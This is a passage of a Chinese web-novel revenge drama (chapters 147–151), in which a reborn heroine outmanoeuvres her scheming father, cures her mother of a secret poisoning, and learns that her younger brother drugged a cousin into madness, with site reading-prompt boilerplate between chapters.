等壮汉们无语地离开,他脸上温和的笑意,渐渐被一片冷意替代。 他盯了好几天,就知道陆慎言想闹事。 名满天下的大燕第一才子裴侍郎,慢悠悠走到麻袋面前,抬起脚,踩到陆慎言胸口,然后…… 蹦了起来! 再踹两脚吧,他银子都花了,不能亏。 …… 马车停在伯府门口,谢窈下了车,见一辆青盖马车,跟自己前后脚停在偏门。 车帘掀开,走出个身体佝偻,须发半白的老头。 忍冬第一时间认出来:“王妃,是孙正,孙姨娘的父亲。” 谢窈也认了出来,眼眸微微眯起。 又见面了,孙药令。 上次也是在门口,孙姨娘请孙药令入伯府,是为了确定腹中胎儿性别。 两个伯府护院快步上前,领着他,先一步从偏门进了府。 “窈儿,你可算回来啦!” 这章没有结束,请点击下一页继续阅读!谢明安第一个冲上前,像是转了性子,脸上挂着灿烂慈爱的笑容。 谢窈收回视线,面对伯府众人。 此刻,文昌伯府正门大敞,谢明安身穿崭新衣袍,旁边站着谢宴,脸色沧桑的谢二爷,身后则跟着二房其他人,还有谢明安几个妾室。 怀着孕的孙姨娘却再没有之前的热情大方,只站在最末端,眼神麻木。 她接连受到打击,先是没了中馈被禁足,女儿又做出丑事,只能当外室,还得知大哥死讯,如今能好端端活着,已经不易。 这群谢家人神色各异,心中各怀鬼胎,唯有她的母亲许素素看见她,含泪一笑。 母亲站在人群中间,穿了件绛紫绣玉兰花的曲裾,发间戴着金簪,上了淡妆,气色很好。 谢窈恍然间想起回京后,初见她的情景。 此刻的许素素,和那个憔悴怯懦,又故作冷厉的伯夫人判若两人。 “窈儿啊,本伯的好女儿,可算把你盼回来了,你如今是靖北王妃,是我们伯府的荣耀。”谢明安眼神温和。 谢窈大幅度侧身,避开他要抓住自己的行为。 然后,她露出一抹淡淡的微笑。 谢家全体都有,浑身一震。 来了,来了,熟悉的感觉又来了。 “父亲是觉得,我以前做为健妇营之人,就不是伯府的荣耀?父亲是不是看不起我?看不起我就——” “为父可太看得起健妇营了!” 谢明安头痛欲裂地打断谢窈的话,还好他早有准备。 他眼底闪过一丝算计,让两名家丁端来支泛黄的卷轴,小心翼翼地展示。 卷轴打开,上书“忠义之女”四个龙飞凤舞的字。 这是九年前,先帝重建健妇营时,感叹文昌伯勇于送出才八岁的嫡女,写下这四个字,赏赐给了伯府。 谢明安呵呵一笑:“我已经命人将这幅墨宝挂于正厅堂前,每日敬香,以示对健妇营的尊敬。” 谢窈:“千万别,父亲再把先帝墨宝给烧了,你们家,可再丢不起更大的脸了。” 三日前,谢家祠堂那场大火,早已传遍京城。 谢明安对外宣称,是祠堂的香炉倾倒,致使意外出现。 但文昌伯是礼部侍郎,负责礼部事宜,最擅司礼的人家出了这样的事,谢家已经沦为京中笑柄。 若从前谢窈这么说,谢明安必然暴跳如雷。 但现在,他只是眼神闪了闪,笑容却不减:“窈儿说的是,那为父听窈儿的,这墨宝就不挂了。” 随即,他又一脸正色。 “窈儿放心,经历了此前种种,为父想通了,伯府中馈,我已经彻底交给你母亲打理,回门宴也都是你母亲一手操办,定然合你心意。” “为父如今只求你在王府过得安心,顺心,也只求你能原谅为父……我们从此父慈子孝,一家人和睦如初。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第148章 渣爹半分拿不到,滋味如何 “既然说了是只求,你求的,未免太多了吧。” 谢窈看着谢明安虚伪的嘴脸,嗤笑一声。 父慈子孝,和睦如初? 她又不紧不慢地问:“父慈,子才孝,文昌伯,你真的孝吗。” 谢二爷怒道:“放肆,你怎能羞辱你的父亲。” 谢窈:“我就问问,二叔你急什么,你也不孝啊?” 谢二爷闭了嘴。 谢明安脑海中,浮现出他的父亲老伯爷的脸,脸色有片刻的不自然。 他很快又露出悲哀神色,叹息道:“为父已经将伯府大小事务,都交给了你母亲,你还想如何?” 谢窈看向许素素。 当初,谢明安交出中馈之权,不过是权益利弊。 如今他口中冠冕堂皇,让许素素准备回门宴,仿佛转了性子,则是一计不成,再生一计。 可谢明安不会知道,他走的每一步,都是自己为他安排好的。 见谢窈不理会自己,谢明安暗中给谢家二房一家使眼色。 二房夫人挤出笑容:“王妃先进府吧,从正门进,老夫人一早知道你要回来,特意在正厅等候呢。” 谢明安的几个妾室也围上前,有的夸她首饰贵重,有的说她气色好。 谢二爷的小儿子,她才十来岁的小堂弟仰着脖子,故作天真地惊叹:“窈姐姐,你这衣服在发光诶。” 小堂弟手要触碰到谢窈衣摆的刹那,谢宴一把钳住他的手,狠狠甩到旁边。 “疼……宴哥,疼!” 小堂弟“哇”地一声哭了。 “你个——谢宴,你做什么!他可是你弟弟!” 二房夫人急忙将儿子扯过来,搂到怀里,含恨瞪了谢宴一眼。 谢宴冷笑了声,低下头,面上人畜无害,眼中却是把小堂弟吓得半死的杀意。 “别拿你的脏手碰我姐姐,否则,哥哥就打死你。”他露出恶劣而粲然的笑容。 谢二爷被谢宴气得胸膛上下起伏,沉着脸,最终拂袖而去。 谢窈看着眼前一张张趋炎附势的面孔,想起前世的回门。 那时,谢宴照顾生病的母亲,没有出面,门口除了谢明安,无一人出来迎接她。 谢老夫人坐在正厅,见到她就冷言冷语:“嫁给个小门小户就罢了,回门都是自己一个人,真是丢了我们谢家的脸。” 说完,她第一个让人把陆家备的回门礼收入库房。 二房一家则挑挑拣拣,说:“这些礼物,怎么都是你的嫁妆?不过也难怪,用自己嫁妆当回门礼,陆家一定是觉得你是在嘲讽他们贫寒,陆慎言才不肯陪你回门。” 只有谢明安拉着自己坐到他身旁,语气温和:“为父知道你难,窈儿,无论如何,你都是为父疼爱的女儿。” 他眼神愧疚,语重心长地说:“不过,陆家毕竟是清白之家,慎言又是读书人,你母亲的商贾出身,在他们眼里不是体面事。” “早知如此,为父就不给你准备那么多嫁妆,一个妇道人家,管许多铺子抛头露面,往后更是会落人口实,你在夫家的日子,也会更难。” 谢明安说了许多,说怕她被骗,怕她被陆家小觑,也怕她身体不济,管不好铺子,用嘘寒问暖,粉饰眼底深藏的贪婪。 谢窈当初一直以为,自己嫁妆是谢明安准备的,又身体风寒初愈,身上的伤没好,一直在咳血,连拿刀的力气都没有。 在满座的冷眼与轻视中,她感受到来自父亲一丁点温暖的亲情,就想拼命抓住。 她想有个家。 所以,在谢明安信誓旦旦,说绝不会亏了她之后,她将陪嫁里最赚钱的两间铺子,交给了谢明安。 她嫁给陆慎言,母亲为她准备的嫁妆,并没有嫁给靖北王丰厚,那谢明安都不放过,想雁过拔毛。 如今她十里红妆的嫁妆,又让七两暗中告诉谢明安,她会把手中铺子交给母亲,谢明安怕是早已寝食难安,嫉红了眼。 谢窈回过神,见谢明安果然凑上前,不错眼地望着她身后一马车回门礼,脸上虚伪的笑容越发灿烂。 趁谢窈被众人簇拥,他连忙冲身边人喊:“窈儿现在可是靖北王妃了,出手就是阔绰,这些都是给伯府的礼品吧,来人,还愣着干什么,快帮王妃将礼物搬进来。” 护院刚要上前,谢窈忽然开口:“慢着。” 她凤眸如霜雪凛然,冷冷地扫过谢明安,缓缓开口: “这些东西,是我个人给母亲的私礼,跟谢家没有关系。” 谢明安的笑容僵了僵:“窈儿,你怎能说这种话,你就姓谢,伯府供你吃喝,供你读书,把你养到大,你如今做了王妃,就这么报答为父的养育之恩?” “我自八岁起,就被父亲送到了边境,伯府何曾供过我吃喝?至于八岁之前——” 谢窈顿了顿,抬高声音,眼神挑衅:“文昌伯真的希望我跟你仔细聊聊,你到底,是用谁的银钱养的我吗?” 谢明安的脸白了几分,攥紧了拳头。 他暗中瞥过许素素,眼神阴晴不定。 这章没有结束,请点击下一页继续阅读!看来,是许氏从中作梗,让谢窈知道了当年自己借用她陪嫁的事。 这个女人,死到临头还不安分。 谢窈现在更是连装都不装了,一点也不把他当父亲看待,还敢威胁他。 他若再细究下去,谢窈就要当众跟他掰扯许家陪嫁的陈年往事,他更是脸上无光。 只是,看到那满车的回门礼,谢明安还是不甘心。 “你自己从小就喜欢舞刀弄枪,我送你去边境,是为了你好。” 他硬着头皮道:“再说,你带那么多自己的东西回门,只给许氏一个人,落在萧家人眼里,还以为你在炫耀,不敬王府,不敬夫君!” 谢窈挑眉:“文昌伯不要以小人之心度君子之腹,王爷懂我,知道我的心思,我只是不敬伯府罢了,谈何不敬夫君呢。” “你——!” “噗。” 谢宴没忍住,笑出了声,然后连忙低头。 谢窈望着许素素,红唇上扬,声音不大,却让在场所有人都听得清清楚楚。 “不仅车上的回门礼是给母亲一人,我嫁妆里还有二十几间铺子,十处京郊田庄,从今往后,也全交给母亲打理。” “什么?!” 众人震惊万分,瞬间安静下来。 好消息,二小姐回门时,带了很多产业到伯府。 坏消息,这些产业,只给许素素一人。 谢明安脑子嗡嗡的,虽然他早就知道了这件事,但知道和亲耳听到是不一样的。 想到那么多产业全给许氏,他心中如万蚁噬心,恨不得立即…… 谢明安死死地盯着许素素,眼底杀意翻涌。 他强行压下暴怒,咬牙切齿:“你母亲出身商贾,这样的身份——” 谢窈:“父亲是看不起商贾?还是看不起陛下册封的二品诰命夫人?” 谢明安的话卡在喉咙里,脸色由白转青。 说罢,谢窈拉住母亲的手:“母亲,我们走。” “借过。” 白术面无表情地说,他领着王府亲卫们,将马车里的礼物抬下来,似不经意地撞过谢明安肩膀,径直闯进伯府,将东西运去王妃的晚香院。 谢明安“嘶”地一声,往左让了让身子,又被另一个亲卫用力撞一下,往右让开,又被左边亲卫撞开,差点人被撞飞。 这些都是靖北王的人,他是敢怒不敢言。 最后一个路过他的,是谢窈。 她停下脚步,用只有二人能听见的声音道:“文昌伯不是一直惦记着母亲的陪嫁、我的嫁妆吗,可惜啊,你如今半分也拿不到,这求而不得的滋味,不好受吧。” 谢明安呼吸骤然加重。 就听谢窈语调轻柔,字句清晰,继续说:“不仅如此,你侵吞母亲的那些东西,我也会讨回来,文昌伯,别怕,我很快的。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第149章 告诉母亲,中毒真相! 谢窈的话,字字诛心,将谢明安彻底激怒。 事到如今,她不必再跟谢明安再装然后父慈子孝,眼底,是不加遮掩的戾气。 “你这逆女,是在跟本伯宣战吗?”谢明安双目充血,咬牙切齿地问。 谢窈讥讽一笑,很有礼貌地吐出三个字:“您、也、配?” 说完,她和许素素悠然离去。 谢明安死死盯着她们和那些闯进自家的王府亲卫,眼神阴冷,脸上笑容烟消云散,气得浑身发抖,差点背过气去。 但是,他却不敢再像从前那样出声呵斥。 谢窈是靖北王妃,许素素是二品诰命夫人,比谢老夫人的诰命等级都高,这两个人,他如今哪一个都惹不起。 二房夫人来到他身旁煽风点火:“大哥,谢窈实在是太嚣张了,仗着自己是靖北王妃,比从前还没规矩。” 一直未发一言的孙姨娘终于开口,却是问:“伯爷,妾身父亲怎么进府了?” 刚才孙药令走偏门来到伯府,除了谢窈,她也发现了。 谢明安目光扫过她隆起的腹部,强行挤出一抹笑意:“自然是为你安胎。” 孙姨娘想说,既然是为自己安胎,为何刚才连招呼都不跟自己打,而是被匆匆请走了。 但她犹豫再三,还是没有问出口,而是善解人意道:“多谢伯爷美意,那就等伯爷和父亲先聊完公事,再让父亲为妾身安胎便好。” 谢明安满意地点头,心中的愤怒终于有所舒缓。 他喜欢孙氏,不是因为孙氏给他生下谢枝这个长女,也不是因为孙氏贤惠持家,而是因为,这个女人恪守本分,就像只温顺家羊,即便有时候,她聪慧,看出来什么,也从不忤逆自己。 “好了,你下去吧,等会儿本伯会让孙药令去看你。” 孙姨娘低下头,抚着自己的腹部,乖顺地离开。 她现在,做什么都谨小慎微。 刘嬷嬷没了,她被禁足,身边丫鬟还给谢枝带走了一个。 仅剩的另一个芳儿,也因为言行无状,蠢得她赶出了院子,如今她身边,都是伯爷安排的几个生面孔。 她已经什么都没了,唯一的指望,就是这个孩子。 由伯爷这个父亲派人照看,总不会出事。 二房夫人还想煽风点火:“靖北王也没来,看来谢窈在萧家也不过如此,如今她是翅膀硬了,完全不把咱们伯府放在眼里。” 谢明安却没心思跟她聊,只冷哼一声:“靖北王没来,正好。” 说完,他赶到自己书斋。 推门而入,孙药令已经在书斋内等候多时,府中的护院首领蒋四看管着他。 见到谢明安,孙药令起身行礼,面露犹豫:“伯爷,这……这真的要这么做,不跟馨兰说吗?” 谢明安眼神阴鸷,眼底布满血丝:“你只需要告诉本伯,你有没有把握。若是有,你怕什么?若是没有,你来什么。” 孙药令长叹一声:“好吧,老夫,老夫自然是有把握的。” 谢明安这才道:“本伯承诺,事成之后,馨兰生下孩子之日,就是本伯抬她为平妻之时,她的儿子,就是本伯的嫡子。” 此刻,他心中只剩下一个念头。 谢窈把嫁妆给了许氏又如何,给吧,给的越多越好…… 等他夺回中馈之权,等许氏一死,那些嫁妆和产业,还不是他的! 另一边,晚香院里。 谢窈让棠心和白术带的王府亲卫守在门外,又叫蒲苇,替她将丫鬟茗儿找来。 茗儿本就是后厨煎药的丫鬟,此前指认了刘嬷嬷,现在还在伯府后厨。 大婚前夜,谢窈曾吩咐茗儿,帮自己做一件事。 刚才看见孙药令入府,她更是确定了谢明安和孙姨娘二人的算计。 回门宴是母亲筹备的,之后,宴席上出现任何岔子,这顶黑锅,都会扣在母亲头上。 而她,已经想好了万全之策。 许素素看女儿有条不紊地吩咐,定了定神,压低声音道: “阿窈,你不必替我担心,伯爷欲夺回中馈之权,想在回门宴上动手脚,我如何猜不到?府中茶水我已经反复检查,今日下厨的,也是晚香院小厨房用了多年的人,反倒是你……” 她鼓起勇气,握住了谢窈的手,指尖还有一丝颤抖。 “谢明安眼中只有钱财,他盯上了你的嫁妆,你那些田庄铺子,我不要,你自己想如何处置都可以,但千万不要像我这样一时心软,交给一匹贪得无厌的豺狼。” 许素素心里还藏着更深的顾虑。 原本她想着,女儿日后没了娘,好歹还有爹能够依靠,哪怕这个爹偏心凉薄。 但如今,她已经彻底放弃了这个念头。 只庆幸自己现在被封了二品诰命夫人,身份尊贵,身子也有些许的好转。 她撑得久一日,就能多护女儿一日。 谢窈反握住母亲的手:“只有千日做贼,哪有千日防贼的道理,母亲放心吧,这回门宴,我已经有了安排。” 许素素不疑有他,但看了看忍冬,又拧起眉头。 这章没有结束,请点击下一页继续阅读!“你嫁入王府,怎能只带忍冬一个人?今日就把蒲苇也带回萧家,我这儿哪用得着这么多人伺候。” 谢窈留下蒲苇,事先并没有告诉许素素。 许素素大婚第二天发现后,心里担心女儿在王府的处境,已经急得两天都寝食难安。 谢窈见母亲神情十分严肃,莞尔一笑,没跟她争辩:“好,我带蒲苇走。” 她漆黑的凤眸闪过一抹幽光,眼神坚定而认真:“也带母亲走,今日之后,母亲就再也不用担心这些,也不必留在这里了。” 许素素双眸一颤:“阿窈,你要做什么?!” “母亲先别急。” 谢窈吩咐棠心守好屋门,屋内只剩下她,许素素和忍冬三人。 是时候,该告诉母亲真相了。 “母亲,前几日我让七两转告您的话,并不是在哄骗您。”她说道。 许素素愣了一会儿,才轻叹一声:“你此前不是已经让忍冬给我把过脉,平肺膏我也一直用着,阿窈,不必再白费力气,我知道自己的身子。” 谢窈却看着她的眼睛,一字一句地说:“那母亲可知道,你根本不是肺痨加重,而是中了毒!” “中毒?” 许素素骤然失声,猛地站起身,随即摇了摇头。 “不,不可能,阿窈,”她声音低哑了几分,“除了谢明安请来的大夫,这些年,我也寻过许多人看,宫里的御医都请过,没人说是中毒,还有那日,给靖北王看诊的周御医也给我把过脉,同样说是肺痨。” “周御医的医术,连胜济堂的黄大夫都不如。” 忍冬开了口。 “夫人难道忘了文昌伯所中的曼陀散?这种毒早年本是宫中止痛药物,无色无味,若控制剂量,就是慢性毒药,中毒者会以为自己是自身病情加重,正因如此,曼陀散才被禁用,由药列为毒。” “寻常大夫,连听都没听说过,当然查不出来。” 许素素浑身发冷,瞬间想起那日吐血的谢明安。 “你是说……下毒的人是孙馨兰?” 谢窈看着她,缓缓开口:“我也曾以为是孙姨娘,但如果是她,您已经中毒,她何必要在众目睽睽之下,铤而走险,再给您下一次呢。” 许素素的面色一白。 谢窈从忍冬手里,拿出青瓷瓶,继续道: “三日前,谢家祠堂的那场大火是我放的,母亲若觉得女儿大逆不道,等会儿再骂,我这么做,是为了趁乱潜进谢明安书斋,找到曼陀散的解药。” 她说的后半句话,许素素完全没听进去。 什么解药,也没有谢窈重要。 她满脑子都是前几日那场火,她曾出门查看,看见那映红了半边夜色的大火,感叹老天有眼,却没想到,是她的女儿在以身犯险! 许素素一把拉过谢窈,捧起女儿的脸,仔细盯着她的面容,忍不住指尖颤抖地抚过她的眉眼,脸颊,生怕漏掉半点伤痕。 “你怎么能这么傻……阿窈,你受伤了没有?” 许素素声音哽咽,眼泪不受控地掉下来,一滴接着一滴砸在谢窈手背上。 “那是你的大婚之夜啊,你怎么能做那样危险之事,万一受伤了怎么办,我的女儿……” 她越说越激动,肩膀剧烈颤动。 “我的阿窈,从前受了那么多苦,我对你不好,一点也不好,你何必为我找什么解药,我宁愿自己病死,也不希望你出事!” 谢窈看着母亲,第一次,见到她哭得汹涌不止。 这个世界上,只有母亲,提起她的过去,会这样流泪。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第150章 给母亲解毒,许素素改变 谢窈心里感动了一会儿,很快就手忙脚乱,四处乱翻,翻到了萧熠之给她用过,被她私藏的手帕。 她又默默把手帕塞回去,索性伸手为母亲擦眼泪,语气放软,努力扮演少女的娇憨。 “母亲别哭了,你是不清楚女儿的武功有多高,苏,虎贲将军苏怀恩你知道吧,十个他那样的,一起上,都打不过我,放个火而已,你看,我连根头发丝都没少。” 许素素被她的模样逗得抽了抽鼻子,却还是流泪不止。 她紧握着谢窈的手:“再厉害,我也会担心。” “真好,”谢窈勾起唇角,高兴地说,“母亲终于承认你担心我,你在乎我。” 许素素:“……” 忍冬准备了温水,谢窈则将瓷瓶递给她,说:“除此之外,我还在谢明安书斋下面的密室,发现了一部分您当年的陪嫁,以及他行贿的账册。” “曼陀散的解药,是从朱嬷嬷身上找到的,母亲觉得,下毒的人是谁?” 谢窈看着母亲的眼睛,声音很轻地问。 但落在许素素耳中,则宛如一记重锤。 “是……谢明安。” 许素素喃喃出这个名字,所有的疑惑,委屈,明悟涌上心头,她浑身僵住,心中更多的,是慢慢升起的滔天恨意! 她一直以为自己的肺痨,是十几年的老毛病。 而谢明安只是贪财,吞了她的陪嫁,觊觎女儿的嫁妆,就算凉薄贪婪,她为他生儿育女,也不至于害她性命。 被许素素压在内心深处的一夜,重新在她眼前浮现。 那是几个月前,谢明安下朝后忽然说,皇上有意要给靖北王赐婚,看中了文昌伯府的女儿。 谢枝大喊大叫地闹,闹了三天,闹到她在静竹轩都知道了此事。 正当她心里担心,事情会不会牵扯到谢窈的时候,谢明安找上门。 其实自从谢宴出生,她就和谢明安,逐渐没了夫妻情分。 九年前,当谢家执意要将谢窈送去北境时,她差点疯了。 谢家人说她真的疯了,病了,将她关了一年,直到木已成舟。 她没有见到女儿离京的最后一面,她的儿子更是快不认识她了。 即便身边的苏嬷嬷劝她,说阿窈生性活泼好动,知道要去健妇营,走的时候还很高兴呢,让她不必太过担心。 但她还是怪谢明安狠心,怪他身为人父的不作为。 等七年前,苏嬷嬷死后,她与谢明安,更是已经在这所巨大窒息的牢笼里,形同陌路。 那天夜里,谢明安冰冷无情地望着她,眉眼依稀之间,还有昔年俊逸儒雅的影子,但很快,他说出的话让许素素心里最后的影子,也烟消云散。 “许氏,大夫说了,你只剩下一年寿命,你若没有疯,就赶紧写信,让谢窈从北境回来,乖乖嫁给靖北王,你还能活着见她一面。” 许素素怔住,当即不肯:“这些年,孙馨兰为她女儿造势,京中谁知道谢家还有阿窈,他们只知大小姐谢枝,阿窈没有享受过谢家一天的好处,既然如此,要嫁,那就让谢枝嫁!” 谢明安冷笑:“枝枝是本伯养在身边的女儿,还有大用,而谢窈,事关谢家满门前程,靖北王再残废,也是战功赫赫的异姓王,她身为伯府嫡女,嫁过去,乃门当户对。” 许素素这一刻才明白,谢明安是要把女儿,当做攀附靖北王府的工具。 她当年满心满眼要嫁的人,怎么如今,变成了这副模样。 “阿窈可是你的亲女儿啊!谢明安,我不答应,我宁可她留在边境,至少自由自在!” “呵,你答不答应并不重要,本伯写封信过去,她一样会回京。” 临走时,谢明安说:“许氏,本伯劝你识相一点,否则等你死了,别忘了我是她的父亲,谢家是她的母族,我要对她做什么,都易如反掌。” 从始至终,许素素都知道她只能再活一年半载。 她怕谢明安在她死后迁怒谢窈,只能顺着谢明安的意,对女儿毫不在意。 许素素眼前模糊,满心的愤怒,不甘,恨意,愧疚让她浑身发抖。 “都怪我,谢明安还用我的名义给你寄了信,你才会回京……这个狼心狗肺,人面兽心的东西,他根本就不是人!” 她用力擦去眼泪,声音沙哑,将那晚谢明安说的告诉了谢窈,只是隐去自己当时心疼谢窈的言语。 谢窈这才知道,原来母亲对自己冷淡,不仅是怕在她死后,自己难过,还因为谢明安早早的威胁。 “阿窈,是母亲对不起你,我让你受了委屈,瞎了眼,错信他那么多年,一切,都是我看错了人。” 谢窈抱着许素素,轻轻拍她的背。 “母亲不必跟我道歉,做了恶事的人,不是你。” 许久之后,母亲终于情绪平稳。 谢窈能感受到,母亲眼底除了被欺骗的震惊,对她的心疼,更多的,是一种决绝的恨意与蜕变。 许素素拿起解药和温水,仰头吞下。 谢窈目不转睛地望着,不由屏住了呼吸。 过了一会儿,忍冬把完脉,朝她点了点头。 忍冬叮嘱,再继续服用半年的平肺散,许素素的病情,就能彻底好了。 谢窈抱住母亲,眼角滑落激动的热泪。 重生一遭,这一刻,她终于改变了母亲的死局! 许素素看着女儿高兴,也笑起来,压下心中翻涌的情绪。 她没有再问谢窈今日要做什么,而是在心里下定决心,从今日起,她再也不做从前那个懦弱无用的伯夫人,她是谢窈的母亲,姓许,是许素素。 哪怕鱼死网破,她,也绝不会再留在这个吃人的伯府。 “王妃,茗儿来了。”蒲苇将茗儿叫来。 茗儿快步进来,躬身道:“二小姐,不,王妃,您让奴婢盯着之前孙姨娘院里的芳儿,果然有问题。” 自从刘嬷嬷死后,孙姨娘被罚禁足,她身边就没了可用的丫鬟。 仅剩的贴身丫鬟芳儿,前阵子因为言行无状,被孙姨娘赶走了。 巧的是,赶走的芳儿,此前被朱嬷嬷安排到厨房帮忙。 而早在大婚前夜,谢窈就让茗儿盯紧芳儿。 茗儿说道:“奴婢一直盯着她,发现她两日前,托人给她家里寄回去五十两银子!而昨晚她一直在厨房做杂活,实际上,是绕着几个厨师转悠。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第151章 姐姐长命百岁,谢窈训狗 当着许素素的面,茗儿将自己这两日盯着芳儿的情况仔细说来。 “此刻后厨师傅们正在备菜,她去后院挑水了,奴婢才来跟王妃禀报。” 茗儿说完,忽然一惊:“坏了,她不会要趁机往井水里投毒,要害王妃和伯夫人吧!” 谢窈:“……那倒不会。” 她指尖轻轻敲击着桌沿,一下一下。 芳儿是孙姨娘的人,又被朱嬷嬷调去后厨,如今形迹可疑。 看来,谢明安和孙姨娘,要在回门宴的饭菜上动手脚。 孙姨娘的父亲孙药令就在伯府,不管是谁中毒或吃错了东西,都能及时救治。 罪责落在负责宴席的母亲头上,孙姨娘却立了功。 谢窈让茗儿在外屋静候,扬声道:“白侍卫。” 一直在院中守着的白术正要进屋,谢宴来了晚香院。 “让开,我要见姐姐和母亲。” 谢窈跟白术挥了挥手,让谢宴进来。 少年一身鲜艳的鹅黄襕袍,衣襟绣着白鹭临水的纹样,墨发用玉簪束着,稚气未脱的俊朗面容,眉眼精致。 “见过母亲,姐姐。” 谢宴跟许素素规规矩矩地行了个礼。 许素素看着儿子,想起当年生下谢宴后,她身子亏空的厉害,儿子就一直由奶娘抚养。 长大一点,他便整日跟在女儿身后。 女儿跑得快,他跟不上,越是哭闹,女儿越懒得搭理他。 后来谢窈被送去边境,她求谢家人收回成命,却被关在静竹轩整整一年。 出来之后,谢宴已经被养在孙馨兰身边,唤那庶女姐姐,见到她,虽然也会喊“母亲”,但母子之间的感情,这些年一直隔着一层。 谢宴转向谢窈,眉眼顿时生动起来:“姐姐今日回门,怎么只顾着和母亲说悄悄话,理都不理我。” 许素素温声道:“我和你姐姐不过是说一会儿宴席上的琐事,今日家塾开课,这个时辰,你怎么来了?” “姐姐回门,我当然要来。” 谢宴说着,眼底闪过一丝冷意,认真地问:“靖北王之前又是骑马,又是给母亲册封诰命,这才能娶走姐姐,为何今日他没有陪姐姐一起,莫不是娶到手就不珍惜?姐姐,他对你好吗。” “王爷一早接到太后口谕,进宫受赏了,”谢窈凤眸微眯,“谢宴,你管得未免太宽。” “我不想姐姐委屈嘛。” 谢宴脸上露出灿烂纯真的笑容,眼神愈发炙热。 “姐姐这两日忙,还不知道吧……”他说着,换做得意的邀功语气,“前日谢家祠堂着火那晚,谢成柏疯了,姐姐,你现在还觉得我是废物吗?” 谢宴的眼底,闪过一丝极淡的,近乎愉悦的光亮。 许素素面色微变,听谢宴的意思,谢成柏疯了,是他做的。 谢家二房那边,是三更天才发现谢成柏出事,昨日找大夫闹了一整天,说谢成柏见人就哭喊,还自己脱光衣服在雪地里磕头求饶。 最后下人们都在传,二房平时不敬祖宗,祠堂牌位被烧,有枉死的祖宗冤魂找上了谢成柏。 短短几日,谢二爷就瘦了一大圈。 可许素素怎么也想不到,这件事会和谢宴有关,她欲言又止:“宴儿,你……” 谢窈早就在七两口中知道了此事,此刻,只静静地看着谢宴,眼神无波无澜:“事情做得太糙了,还是废物。” 下药把一个人药疯,轻易就能被检查出来,谢家二房现在,或许只是不知谁干的罢了。 听到姐姐骂自己废物,谢宴脸庞飞快闪过一丝绯红,眼底有着愉悦。 他慢悠悠地说:“那日火刚烧起来,所有人都去救火了,我想谢成柏被打了二十棍,躺在床上,肯定很寂寞,就带上酒去看望他。” “没想到他不领情,嘴硬得很,说之前没让姐姐落水,等他伤好了,还要找姐姐麻烦,所以,我肯定要和他多喝几杯。” 谢宴脑海里,不由自主浮现出那晚的画面。 谢成柏趴在床上,看见他进来,仰着脖子怒吼:“滚,你个没娘养的东西,还有你姐姐,嫁给靖北王那个疯子,我倒要看看她能活多久!” 谢宴没说话,只是提起酒壶。 “嘭!” 白瓷做的酒壶,碎在谢成柏脑袋上。 他连叫都没叫出来,就昏死了过去。 碎片划破他头皮,鲜血混着酒液流下,滴在谢宴手上。 谢宴走到床边,随手拿起旁边的腰带。 腰带是牛皮做的,结实得很。 他将谢成柏双手反手绑到床架上,又拿茶水把他泼醒。 “嘶……谢宴,你要做什么,你敢动我试试,来人,来人啊,哥,大哥救我!” 谢成柏瞪大双眼,满眼的血影,挣扎着嘶吼。 可此刻二房院里,所有人都去祠堂救火了,只剩他和同样重伤瘫在床上的谢成榆。 谢成榆的屋子,是在单独的偏院,听不到他的话。 就算听到,谢宴也不在乎。 他不介意再送堂兄一程。 他捏起谢成柏的下巴,专心将混了跟舅舅要的迷药的另一壶酒,一点点灌进这张喋喋不休的嘴里。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!这只是寻常迷药,但谢宴看书上说,迷药吃多了,会摧毁一个人的神智。 他想试试,多少迷药能奏效。 不知道半斤够不够,一斤呢。 谢宴灌得很慢,欣赏着谢成柏态度从嚣张变成惊恐,再变成绝望的求饶,最后涕泣横流。 真是丑陋。 “晏弟,不,晏哥,我错了,我不该骂你,不该骂你姐姐……我不……不该推祖母下水,是我干的,都是我干的!你放了我吧!” 谢宴觉得无趣,忽然笑了,他凑到谢成柏耳边,故意压低声音,用谢成榆的语气道:“弟弟,大哥知道你一直盼着大哥死,但是啊,现在死的人变成你了。” 谢成柏的脸色从涨红变成惨白,嘴角挂着涎液,开始口吐白沫,胡言乱语。 他满头的鲜血,手腕也渗出撕裂的血痕,最后…… 彻底疯了。 “我的姐姐会长命百岁,至于你,脚下尘泥,谁在乎呢。” 谢宴最后说道,用茶水洗净染血的手,悠然离开。 “姐姐教训的是,下次,我还是干脆利落的好,把人折磨疯,实在是太残忍了。” 谢宴回过神,语调柔和。 “可谁让他之前想推姐姐落水,杀他,是便宜了他。” 许素素原本浑身发冷,但是,听到他说谢成柏还想害女儿,她原本因儿子残忍而泛起的寒意,却被另一种情绪取代。 这么多年了,她和谢宴之间总是隔着一层客气。 而随着谢宴长大,他的面容,也和年轻时的谢明安越发相似,这让他们越发疏离。 只是没想到,他竟然默默记着有人要害阿窈,还解决了阿窈的麻烦。 “此事,你做的没错。”许素素说道。 谢宴没想到母亲会这么说,心里一喜,唇角的笑容越发清晰。 “姐姐,连母亲都说我做得对,你回京这么久,可以让你的人做那么多事情,可以命令靖北王府的侍卫,为何只有我像个外人,什么都不知道,什么都做不了?” 谢宴眼尾泛起一抹绯色,眼底透出偏执:“就算我是个废物,我也想帮姐姐,不如,我替姐姐杀了孙姨娘,怎么样?” 少年眼中带着天真的残忍,声音则十分平静,像幽静的潭水。 谢窈坐在椅上,心中了然。 谢宴故意将谢成柏的事告诉她,就像小时候非要追着她问,姐姐你为什么揍他们,不揍我? 她当时想,谢宴小豆丁一个,揍起来没有手感,也没成就感。 但既然他求,自己只好揍他了。 兵法有云,卒已亲附而罚不行,则不可用也。 她故意没有理会谢宴的委屈,反而朝门外喊:“白侍卫,茗儿。” 白术走进来,身姿挺拔,抱拳道:“王妃有何吩咐?” “伯府后厨有个叫芳儿的丫鬟有问题,你让茗儿带你去认,将她绑到柴房,严加看管,此事,不要惊动旁人。” 谢窈这才看向谢宴:“你想知道我要做什么,那就自己去问芳儿吧。” 谢宴神情霎时间亢奋起来,像离群索居的小兽,忽然找到了前行的理由。 